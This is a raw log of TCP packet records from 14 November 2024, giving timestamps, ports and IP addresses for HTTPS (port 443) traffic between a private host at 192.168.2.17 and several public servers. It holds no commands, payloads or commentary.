Nov 14, 2024 16:39:19.081772089 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.081846952 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.081960917 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.081968069 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.082415104 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.083633900 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.083658934 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.084649086 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.087630987 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.087630987 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.087702036 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.128675938 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.131628990 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.131643057 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.176628113 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.431176901 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.431248903 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.431268930 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.431322098 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.431379080 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.431391001 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.433571100 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.435923100 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:19.435944080 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.436892986 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.436963081 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:19.444084883 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:19.444180012 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.480753899 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.480787039 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.496637106 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:19.496685028 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.528635979 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.544723034 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:19.575356960 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.575370073 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.575402975 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.575459003 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.575614929 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.575632095 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.618896961 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.618932962 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.618952036 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.619004965 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.619031906 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.619163036 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.620382071 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.620403051 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.620419025 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.620454073 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.620461941 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.620496035 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.672751904 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.672768116 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.720746040 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.762418032 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.762450933 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.762468100 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.762543917 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.762609005 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.762784958 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.762809038 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.762988091 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.763134003 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.763515949 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.763530016 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:20.108823061 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.108869076 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.113724947 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.113734961 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.113743067 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.113749981 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.113764048 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489186049 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489201069 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489212036 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489217997 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489255905 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.489300013 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.489634037 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489717007 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489727020 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489737034 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489751101 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.489764929 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.489794970 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.490454912 CET	443	49699	40.126.31.73	192.168.2.17
Nov 14, 2024 16:39:20.490509987 CET	49699	443	192.168.2.17	40.126.31.73
Nov 14, 2024 16:39:20.614192963 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:20.614234924 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:20.614304066 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:20.648554087 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:20.648571014 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:20.714919090 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.720443010 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.795136929 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:20.795169115 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:20.795243979 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:20.798839092 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:20.798863888 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:20.840852976 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.841346979 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.842030048 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.842123032 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.842211962 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.843101025 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.843349934 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.847031116 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.847043037 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.847482920 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.847491980 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.847966909 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.848551989 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.966253996 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.966342926 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:20.999604940 CET	443	49690	204.79.197.200	192.168.2.17
Nov 14, 2024 16:39:20.999676943 CET	49690	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:21.662717104 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:21.662821054 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:21.720288038 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:21.720314980 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:21.720978022 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:21.721039057 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:21.722697973 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:21.722753048 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:21.751069069 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.751183033 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:21.756032944 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:21.756059885 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.756745100 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.802344084 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:21.847332954 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.929409981 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.930707932 CET	443	49712	13.107.5.88	192.168.2.17
Nov 14, 2024 16:39:21.930804968 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:21.934674025 CET	49712	443	192.168.2.17	13.107.5.88
Nov 14, 2024 16:39:22.013916016 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.013957024 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.013972998 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.013986111 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.013998985 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.014041901 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.014739037 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.014789104 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.014869928 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.014923096 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.018085957 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.018107891 CET	443	49713	2.23.209.183	192.168.2.17
Nov 14, 2024 16:39:22.018116951 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:22.018167019 CET	49713	443	192.168.2.17	2.23.209.183
Nov 14, 2024 16:39:23.341558933 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:23.341598988 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:23.341672897 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:23.344050884 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:23.344065905 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.108653069 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.108752012 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.110318899 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.110332966 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.110596895 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.160633087 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.171226978 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.211373091 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.428930044 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.428956032 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.428968906 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.428989887 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429018974 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.429028988 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429049969 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429064989 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.429089069 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.429753065 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429822922 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.429826021 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429847002 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.429884911 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.439549923 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.439563990 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:24.439594984 CET	49715	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:24.439599991 CET	443	49715	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:26.499332905 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:26.500353098 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:26.500407934 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:26.500472069 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:26.500772953 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:26.500785112 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:26.543333054 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:27.548661947 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:27.549032927 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:27.549062014 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:27.549432993 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:27.549740076 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:27.549801111 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:27.594070911 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:28.926156998 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.926183939 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.926194906 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.926229954 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.926234961 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:28.926261902 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.926317930 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:28.927898884 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:28.927947044 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:28.928045034 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:29.100455999 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.100493908 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.100863934 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.100863934 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.100892067 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.442346096 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:29.442416906 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:29.443629980 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:29.972832918 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.973278046 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.973306894 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.974272013 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.974468946 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.980127096 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.980127096 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:29.980160952 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:29.980360031 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.035620928 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.035651922 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.037117958 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:30.037148952 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:30.083625078 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.369410038 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.369740009 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.369816065 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.371563911 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.371601105 CET	443	49717	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.371615887 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.371651888 CET	49717	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.418102980 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.418159962 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:30.418248892 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.418481112 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:30.418493986 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.283282995 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.283561945 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.283587933 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.284550905 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.284634113 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.285568953 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.285629034 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.285738945 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.326638937 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.326662064 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.374658108 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.962696075 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.962776899 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.962802887 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.962882996 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.962939024 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.963291883 CET	49718	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.963310957 CET	443	49718	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.966052055 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.966097116 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:31.966250896 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.966463089 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:31.966475010 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:33.733191967 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:33.734807968 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:33.734833956 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:33.735152006 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:33.735569954 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:33.735636950 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:33.736011028 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:33.736036062 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.236934900 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.236964941 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.236982107 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.237143993 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.237144947 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.237179995 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.237258911 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.237857103 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.237921000 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.237927914 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.237940073 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.237968922 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.238003969 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.242358923 CET	49719	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:34.242372036 CET	443	49719	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:34.305639982 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:34.305687904 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:34.305783033 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:34.306099892 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:34.306117058 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.364574909 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.364881992 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.364919901 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.365895033 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.365972042 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.367086887 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.367207050 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.367326975 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.367340088 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.419676065 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.599055052 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.643683910 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.715975046 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.715986967 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.716028929 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.716043949 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.716059923 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.716061115 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.716088057 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.716114044 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.716144085 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.833873987 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.833909035 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.833959103 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.833976984 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.834002018 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.834026098 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.834059000 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.834084034 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.882685900 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.951041937 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.951070070 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.951118946 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.951164961 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.951165915 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.951199055 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:35.951236010 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:35.951266050 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.068109989 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.068181038 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.068223000 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.068250895 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.068285942 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.068310976 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.185183048 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.185254097 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.185308933 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.185336113 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.185384989 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.185431957 CET	49720	443	192.168.2.17	152.199.21.175
